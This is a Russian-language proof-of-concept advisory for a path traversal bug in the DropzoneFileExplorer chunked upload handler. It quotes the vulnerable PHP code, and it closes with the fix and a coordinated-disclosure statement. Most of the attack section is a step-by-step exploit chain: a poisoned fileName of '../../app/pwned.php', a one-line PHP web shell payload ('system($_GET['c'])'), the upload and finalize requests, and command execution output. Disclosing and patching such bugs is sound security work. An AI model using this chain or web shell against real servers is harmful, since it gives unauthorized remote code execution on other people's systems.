
Цепочка эксплойтов proof-of-concept для CVE-2026-104826 — обход пути в обработчике чанковой загрузки DropzoneFileExplorer, который записывает PHP-вебшелл для удалённого выполнения кода.
Обработчик возобновляемой (чанковой) загрузки доверяет клиентскому fileName вплоть
до fopen(). Передайте ему ../../, и вы запишете файл за пределами разрешённой папки,
за пределами корня хранилища, прямо в веб-корень. Приложение обслуживает PHP, поэтому
загруженный файл выполняется.
Проект: KeepCoolCH/DropzoneFileExplorer
| CVE | CVE-2026-104826 |
| Advisory | GHSA-7626-89vx-5rpc |
| Класс | CWE-22 (Path Traversal) -> CWE-434 -> RCE |
| Аутентификация | по умолчанию требуется, не требуется при AUTH_ENABLE=false |
| CVSS v4.0 | 8.5 High (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) |
| Затронуто | v1.1 (проверено на коммите 68858e0) |
| Исправлено в | v1.2 |
| Автор находки | Kanarat Kaeothong (Axiom0x) |
Важны две функции. uploadInit берёт fileName из тела запроса и сохраняет
его, не делая ничего, кроме trim() (inc/functions.php, около L2080):
$fileName = trim((string)($body['fileName'] ?? 'file')); // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json
uploadFinalize позже читает его обратно и собирает выходной путь
(inc/functions.php, L2192-2216):
$destDir = norm_rel((string)($meta['destDir'] ?? '')); // normalized
$relPath = norm_rel((string)($meta['relativePath'] ?? '')); // normalized
$fileName = (string)($meta['fileName'] ?? 'file'); // NOT normalized
$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs); // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
$finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
ensure_inside_allowed_roots($finalDirAbs); // dir is checked
}
$finalName = $fileName;
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName; // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b'); // arbitrary write
ensure_inside_allowed_roots() сама по себе в порядке. Она вызывает realpath() и
убеждается, что путь остаётся внутри корней пользователя. Проблема в том, что ей
передают. $destBaseAbs и $finalDirAbs оба проверяются, но $finalAbs — тот,
что фактически содержит fileName атакующего, — не проверяется никогда. fopen()
получает сырую строку .../shared/../../app/shell.php, и ОС сама сворачивает ...
Стоит отметить: все остальные пути записи в этой кодовой базе либо прогоняют
составленный путь через ensure_inside_allowed_roots(), либо оборачивают имя в
basename(). Этот не делает ни того, ни другого. Похоже на место, которое
отрефакторили, и финальная проверка потерялась.
Чистая v1.1, конфигурация по умолчанию (AUTH_ENABLE=true). Действующее лицо —
обычный пользователь lowpriv, чья единственная папка — shared.
Войдите как lowpriv (возьмите CSRF-токен со страницы входа, затем отправьте
POST auth_action=login).
Убедитесь, что песочница действительно работает. Загрузка напрямую в чужую папку отклоняется:
POST /index.php?action=uploadInit
{"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
-> {"ok":false,"error":"Access denied"}
Используйте разрешённую папку, но отравьте fileName:
POST /index.php?action=uploadInit
{"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
-> {"ok":true,"uploadId":"..."}
Отправьте полезную нагрузку одним чанком:
POST /index.php?action=uploadChunk (multipart)
uploadId=<id>&index=0&total=1 + file field "chunk" = <?php system($_GET['c']); ?>
-> {"ok":true}
Завершите:
POST /index.php?action=uploadFinalize
{"uploadId":"<id>","policy":"overwrite"}
-> {"ok":true,"path":"app/pwned.php"}
Ответ сообщает app/pwned.php. Само приложение говорит вам, что записало
за пределами shared и за пределами корня хранилища.
Запустите:
GET /pwned.php?c=id
-> uid=... (command output)
Из моего собственного запуска против локального экземпляра:
GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...
GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64
См. poc/exploit.py для полной цепочки (вход, CSRF, отравление,
чанк, завершение, выполнение).
Любой, кому разрешена загрузка, может записать файл туда, куда может писать процесс
PHP, независимо от того, что говорят правила папок для отдельных пользователей.
Файл .php в веб-корне — это удалённое выполнение кода от имени веб-пользователя.
При AUTH_ENABLE=false шага входа нет, и это чистое неаутентифицированное RCE.
В uploadFinalize сведите fileName к простому имени перед открытием и
перепроверьте составленный путь:
$finalName = basename($fileName); // kill any path component
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs); // and verify the real target
Одного basename() достаточно, чтобы остановить traversal. Добавление проверки
ensure_inside_allowed_roots($finalAbs) — это версия «ремень и подтяжки», и она
соответствует тому, как остальной код уже защищает записи. Та же обработка нужна
ветке политики rename (около L2210), где $finalName пересчитывается. Мейнтейнер
внёс это в v1.2.
Скоординированное раскрытие, исправлено до публикации. PoC намеренно нацелен на локальный тестовый экземпляр. Не направляйте его на то, чем вы не владеете.